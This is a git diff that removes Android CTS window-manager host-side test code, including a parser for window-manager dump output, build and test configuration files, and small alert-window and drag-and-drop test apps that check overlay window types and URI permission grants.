-            }
-
-            log(TAG + "DISPLAY_ID: " + line);
-            dump.pop();
-
-            final int displayId = Integer.valueOf(matcher.group(1));
-            final Display display = new Display(displayId);
-            display.extract(dump, exitPatterns);
-            return display;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                final Matcher matcher = sDisplayInfoPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "DISPLAY_INFO: " + line);
-                    mDpi = Integer.valueOf(matcher.group(2));
-
-                    final int displayWidth = Integer.valueOf(matcher.group(3));
-                    final int displayHeight = Integer.valueOf(matcher.group(4));
-                    mDisplayRect.setBounds(0, 0, displayWidth, displayHeight);
-
-                    final int appWidth = Integer.valueOf(matcher.group(5));
-                    final int appHeight = Integer.valueOf(matcher.group(6));
-                    mAppRect.setBounds(0, 0, appWidth, appHeight);
-
-                    // break as we don't need other info for now
-                    break;
-                }
-                // Extract other info here if needed
-            }
-        }
-
-        @Override
-        public String toString() {
-            return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
-                    + " mAppRect=" + mAppRect;
-        }
-    }
-
-    public static class WindowState extends WindowContainer {
-        private static final String TAG = "[WindowState] ";
-
-        public static final int TYPE_WALLPAPER = 2013;
-
-        private static final int WINDOW_TYPE_NORMAL   = 0;
-        private static final int WINDOW_TYPE_STARTING = 1;
-        private static final int WINDOW_TYPE_EXITING  = 2;
-        private static final int WINDOW_TYPE_DEBUGGER = 3;
-
-        private static final String RECT_STR = "\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]";
-        private static final String NEGATIVE_VALUES_ALLOWED_RECT_STR =
-                "\\[([-\\d]+),([-\\d]+)\\]\\[([-\\d]+),([-\\d]+)\\]";
-        private static final Pattern sMainFramePattern = Pattern.compile("mFrame=" + RECT_STR + ".+");
-        private static final Pattern sFramePattern =
-                Pattern.compile("Frames: containing=" + RECT_STR + " parent=" + RECT_STR);
-        private static final Pattern sContentFramePattern =
-            Pattern.compile("content=" + RECT_STR + " .+");
-        private static final Pattern sWindowAssociationPattern =
-                Pattern.compile("mDisplayId=(\\d+) stackId=(\\d+) (.+)");
-        private static final Pattern sSurfaceInsetsPattern =
-            Pattern.compile("Cur insets.+surface=" + RECT_STR + ".+");
-        private static final Pattern sContentInsetsPattern =
-                Pattern.compile("Cur insets.+content=" + NEGATIVE_VALUES_ALLOWED_RECT_STR + ".+");
-        private static final Pattern sGivenContentInsetsPattern =
-                Pattern.compile("mGivenContentInsets=" + RECT_STR + ".+");
-        private static final Pattern sCropPattern =
-            Pattern.compile(".+mLastClipRect=" + RECT_STR + ".*");
-        private static final Pattern sSurfacePattern =
-                Pattern.compile("Surface: shown=(\\S+) layer=(\\d+) alpha=[\\d.]+ rect=\\([\\d.-]+,[\\d.-]+\\) [\\d.]+ x [\\d.]+.*");
-        private static final Pattern sAttrsPattern=
-                Pattern.compile("mAttrs=WM\\.LayoutParams\\{.*ty=(\\d+).*\\}");
-
-
-        private final String mName;
-        private final String mAppToken;
-        private final int mWindowType;
-        private int mType;
-        private int mDisplayId;
-        private int mStackId;
-        private int mLayer;
-        private boolean mShown;
-        private Rectangle mContainingFrame = new Rectangle();
-        private Rectangle mParentFrame = new Rectangle();
-        private Rectangle mContentFrame = new Rectangle();
-        private Rectangle mFrame = new Rectangle();
-        private Rectangle mSurfaceInsets = new Rectangle();
-        private Rectangle mContentInsets = new Rectangle();
-        private Rectangle mGivenContentInsets = new Rectangle();
-        private Rectangle mCrop = new Rectangle();
-
-
-        private WindowState(Matcher matcher, int windowType) {
-            mName = matcher.group(4);
-            mAppToken = matcher.group(2);
-            mWindowType = windowType;
-        }
-
-        public String getName() {
-            return mName;
-        }
-
-        String getToken() {
-            return mAppToken;
-        }
-
-        boolean isStartingWindow() {
-            return mWindowType == WINDOW_TYPE_STARTING;
-        }
-
-        boolean isExitingWindow() {
-            return mWindowType == WINDOW_TYPE_EXITING;
-        }
-
-        boolean isDebuggerWindow() {
-            return mWindowType == WINDOW_TYPE_DEBUGGER;
-        }
-
-        int getDisplayId() {
-            return mDisplayId;
-        }
-
-        int getStackId() {
-            return mStackId;
-        }
-
-        int getLayer() {
-            return mLayer;
-        }
-
-        Rectangle getContainingFrame() {
-            return mContainingFrame;
-        }
-
-        Rectangle getFrame() {
-            return mFrame;
-        }
-
-        Rectangle getSurfaceInsets() {
-            return mSurfaceInsets;
-        }
-
-        Rectangle getContentInsets() {
-            return mContentInsets;
-        }
-
-        Rectangle getGivenContentInsets() {
-            return mGivenContentInsets;
-        }
-
-        Rectangle getContentFrame() {
-            return mContentFrame;
-        }
-
-        Rectangle getParentFrame() {
-            return mParentFrame;
-        }
-
-        Rectangle getCrop() {
-            return mCrop;
-        }
-
-        boolean isShown() {
-            return mShown;
-        }
-
-        int getType() {
-            return mType;
-        }
-
-        static WindowState create(LinkedList<String> dump, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            Matcher matcher = sWindowPattern.matcher(line);
-            if (!matcher.matches()) {
-                return null;
-            }
-
-            log(TAG + "WINDOW: " + line);
-            dump.pop();
-
-            final WindowState window;
-            Matcher specialMatcher;
-            if ((specialMatcher = sStartingWindowPattern.matcher(line)).matches()) {
-                log(TAG + "STARTING: " + line);
-                window = new WindowState(specialMatcher, WINDOW_TYPE_STARTING);
-            } else if ((specialMatcher = sExitingWindowPattern.matcher(line)).matches()) {
-                log(TAG + "EXITING: " + line);
-                window = new WindowState(specialMatcher, WINDOW_TYPE_EXITING);
-            } else if ((specialMatcher = sDebuggerWindowPattern.matcher(line)).matches()) {
-                log(TAG + "DEBUGGER: " + line);
-                window = new WindowState(specialMatcher, WINDOW_TYPE_DEBUGGER);
-            } else {
-                window = new WindowState(matcher, WINDOW_TYPE_NORMAL);
-            }
-
-            window.extract(dump, exitPatterns);
-            return window;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                Matcher matcher = sWindowAssociationPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "WINDOW_ASSOCIATION: " + line);
-                    mDisplayId = Integer.valueOf(matcher.group(1));
-                    mStackId = Integer.valueOf(matcher.group(2));
-                    continue;
-                }
-
-                matcher = sMainFramePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "MAIN WINDOW FRAME: " + line);
-                    mFrame = extractBounds(matcher);
-                    continue;
-                }
-
-                matcher = sFramePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "FRAME: " + line);
-                    extractMultipleBounds(matcher, 1, mContainingFrame, mParentFrame);
-                    continue;
-                }
-
-                matcher = sContentFramePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "CONTENT FRAME: " + line);
-                    mContentFrame = extractBounds(matcher);
-                }
-
-                matcher = sSurfaceInsetsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "INSETS: " + line);
-                    mSurfaceInsets = extractBounds(matcher);
-                }
-
-                matcher = sContentInsetsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "CONTENT INSETS: " + line);
-                    mContentInsets = extractBounds(matcher);
-                }
-
-                matcher = sCropPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "CROP: " + line);
-                    mCrop = extractBounds(matcher);
-                }
-
-                matcher = sSurfacePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "SURFACE: " + line);
-                    mShown = Boolean.valueOf(matcher.group(1));
-                    mLayer = Integer.valueOf(matcher.group(2));
-                }
-
-                matcher = sAttrsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "ATTRS: " + line);
-                    mType = Integer.valueOf(matcher.group(1));
-                }
-
-                matcher = sGivenContentInsetsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "GIVEN CONTENT INSETS: " + line);
-                    mGivenContentInsets = extractBounds(matcher);
-                }
-
-                // Extract other info here if needed
-            }
-        }
-
-        private static String getWindowTypeSuffix(int windowType) {
-            switch (windowType) {
-            case WINDOW_TYPE_STARTING: return " STARTING";
-            case WINDOW_TYPE_EXITING: return " EXITING";
-            case WINDOW_TYPE_DEBUGGER: return " DEBUGGER";
-            default: break;
-            }
-            return "";
-        }
-
-        @Override
-        public String toString() {
-            return "WindowState: {" + mAppToken + " " + mName
-                    + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
-                    + " cf=" + mContainingFrame + " pf=" + mParentFrame;
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
deleted file mode 100644
index 0739743..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := CtsWindowManagerHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed CtsServicesHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-amwm-util \
-    platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.server.cts
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
deleted file mode 100644
index 82f0099..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS window manager host test cases">
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDragAndDropSourceApp.apk" />
-        <option name="test-file-name" value="CtsDragAndDropTargetApp.apk" />
-        <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
-        <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk" />
-        <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk" />
-        <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsWindowManagerHostTestCases.jar" />
-        <option name="runtime-hint" value="20m40s" />
-    </test>
-</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
deleted file mode 100755
index 9c6a6ad..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.alertwindowapp">
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
-    <application android:label="CtsAlertWindow">
-        <activity android:name=".AlertWindowTestActivity"
-                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
deleted file mode 100644
index db007e2..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowapp;
-
-import android.os.Bundle;
-import android.server.alertwindowappsdk25.AlertWindowTestBaseActivity;
-
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
-
-public class AlertWindowTestActivity extends AlertWindowTestBaseActivity {
-    private static final int[] ALERT_WINDOW_TYPES = {
-            TYPE_PHONE,
-            TYPE_PRIORITY_PHONE,
-            TYPE_SYSTEM_ALERT,
-            TYPE_SYSTEM_ERROR,
-            TYPE_SYSTEM_OVERLAY,
-            TYPE_APPLICATION_OVERLAY
-    };
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        createAllAlertWindows(getPackageName());
-    }
-
-    @Override
-    protected int[] getAlertWindowTypes() {
-        return ALERT_WINDOW_TYPES;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
deleted file mode 100755
index efc80ea..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.alertwindowappsdk25">
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
-    <application android:label="CtsAlertWindowSdk25">
-        <activity android:name=".AlertWindowTestActivitySdk25"
-                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
deleted file mode 100644
index 046879f..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowappsdk25;
-
-import android.os.Bundle;
-
-import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
-import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
-
-public class AlertWindowTestActivitySdk25 extends AlertWindowTestBaseActivity {
-    private static final int[] ALERT_WINDOW_TYPES = {
-            TYPE_PHONE,
-            TYPE_PRIORITY_PHONE,
-            TYPE_SYSTEM_ALERT,
-            TYPE_SYSTEM_ERROR,
-            TYPE_SYSTEM_OVERLAY
-    };
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        createAllAlertWindows(getPackageName());
-    }
-
-    @Override
-    protected int[] getAlertWindowTypes() {
-        return ALERT_WINDOW_TYPES;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
deleted file mode 100644
index 2d0dad0..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.alertwindowappsdk25;
-
-import android.app.Activity;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.util.Log;
-import android.view.WindowManager;
-import android.widget.TextView;
-
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
-public abstract class AlertWindowTestBaseActivity extends Activity {
-
-    protected void createAllAlertWindows(String windowName) {
-        final int[] alertWindowTypes = getAlertWindowTypes();
-        for (int type : alertWindowTypes) {
-            try {
-                createAlertWindow(type, windowName);
-            } catch (Exception e) {
-                Log.e("AlertWindowTestBaseActivity", "Can't create type=" + type, e);
-            }
-        }
-    }
-
-    protected void createAlertWindow(int type) {
-        createAlertWindow(type, getPackageName());
-    }
-
-    protected void createAlertWindow(int type, String windowName) {
-        if (!isSystemAlertWindowType(type)) {
-            throw new IllegalArgumentException("Well...you are not an alert window type=" + type);
-        }
-
-        final Point size = new Point();
-        final WindowManager wm = getSystemService(WindowManager.class);
-        wm.getDefaultDisplay().getSize(size);
-
-        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
-                type, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
-        params.width = size.x / 3;
-        params.height = size.y / 3;
-        params.gravity = TOP | LEFT;
-        params.setTitle(windowName);
-
-        final TextView view = new TextView(this);
-        view.setText(windowName + "   type=" + type);
-        view.setBackgroundColor(Color.RED);
-        wm.addView(view, params);
-    }
-
-    private boolean isSystemAlertWindowType(int type) {
-        final int[] alertWindowTypes = getAlertWindowTypes();
-        for (int current : alertWindowTypes) {
-            if (current == type) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    protected abstract int[] getAlertWindowTypes();
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
deleted file mode 100644
index 12a04ed..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
deleted file mode 100644
index 296a979..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.wm.cts.dndsourceapp">
-    <application android:label="CtsDnDSource">
-        <activity android:name="android.wm.cts.dndsourceapp.DragSource">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-
-        <provider android:name="android.wm.cts.dndsourceapp.DragSourceContentProvider"
-                  android:authorities="android.wm.cts.dndsource.contentprovider"
-                  android:grantUriPermissions="true"/>
-    </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
deleted file mode 100644
index 7cb7b8b..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ClipDescription;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.FileUriExposedException;
-import android.os.PersistableBundle;
-import android.util.Log;
-import android.view.MotionEvent;
-import android.view.View;
-import android.widget.TextView;
-
-import java.io.File;
-
-public class DragSource extends Activity{
-    private static final String LOG_TAG = "DragSource";
-
-    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
-    private static final String RESULT_KEY_DETAILS = "DETAILS";
-    private static final String RESULT_OK = "OK";
-    private static final String RESULT_EXCEPTION = "Exception";
-
-    private static final String URI_PREFIX =
-            "content://" + DragSourceContentProvider.AUTHORITY + "/data";
-
-    private static final String MAGIC_VALUE = "42";
-    private static final long TIMEOUT_CANCEL = 150;
-
-    private TextView mTextView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        View view = getLayoutInflater().inflate(R.layout.source_activity, null);
-        setContentView(view);
-
-        final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
-
-        setUpDragSource("disallow_global", plainUri, 0);
-        setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
-
-        setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
-        setUpDragSource("grant_read", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
-        setUpDragSource("grant_write", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
-        setUpDragSource("grant_read_persistable", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
-                        View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
-
-        final Uri prefixUri = Uri.parse(URI_PREFIX);
-
-        setUpDragSource("grant_read_prefix", prefixUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
-                        View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
-        setUpDragSource("grant_read_noprefix", prefixUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
-
-        final Uri fileUri = Uri.fromFile(new File("/sdcard/sample.jpg"));
-
-        setUpDragSource("file_local", fileUri, 0);
-        setUpDragSource("file_global", fileUri, View.DRAG_FLAG_GLOBAL);
-    }
-
-    private void setUpDragSource(String mode, final Uri uri, final int flags) {
-        if (!mode.equals(getIntent().getStringExtra("mode"))) {
-            return;
-        }
-        mTextView = (TextView) findViewById(R.id.drag_source);
-        mTextView.setText(mode);
-        mTextView.setOnTouchListener(new View.OnTouchListener() {
-            @Override
-            public boolean onTouch(View v, MotionEvent event) {
-                if (event.getAction() != MotionEvent.ACTION_DOWN) {
-                    return false;
-                }
-                try {
-                    final ClipDescription clipDescription = new ClipDescription("", new String[] {
-                            ClipDescription.MIMETYPE_TEXT_URILIST });
-                    PersistableBundle extras = new PersistableBundle(1);
-                    extras.putString("extraKey", "extraValue");
-                    clipDescription.setExtras(extras);
-                    final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
-                    v.startDragAndDrop(
-                            clipData,
-                            new View.DragShadowBuilder(v),
-                            null,
-                            flags);
-                    logResult(RESULT_KEY_START_DRAG, RESULT_OK);
-                } catch (FileUriExposedException e) {
-                    logResult(RESULT_KEY_DETAILS, e.getMessage());
-                    logResult(RESULT_KEY_START_DRAG, RESULT_EXCEPTION);
-                }
-                if (mode.equals("cancel_soon")) {
-                    new Handler().postDelayed(new Runnable() {
-                        @Override
-                        public void run() {
-                            v.cancelDragAndDrop();
-                        }
-                    }, TIMEOUT_CANCEL);
-                }
-                return true;
-            }
-        });
-    }
-
-    private void logResult(String key, String value) {
-        Log.i(LOG_TAG, key + "=" + value);
-        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
-    }
-}
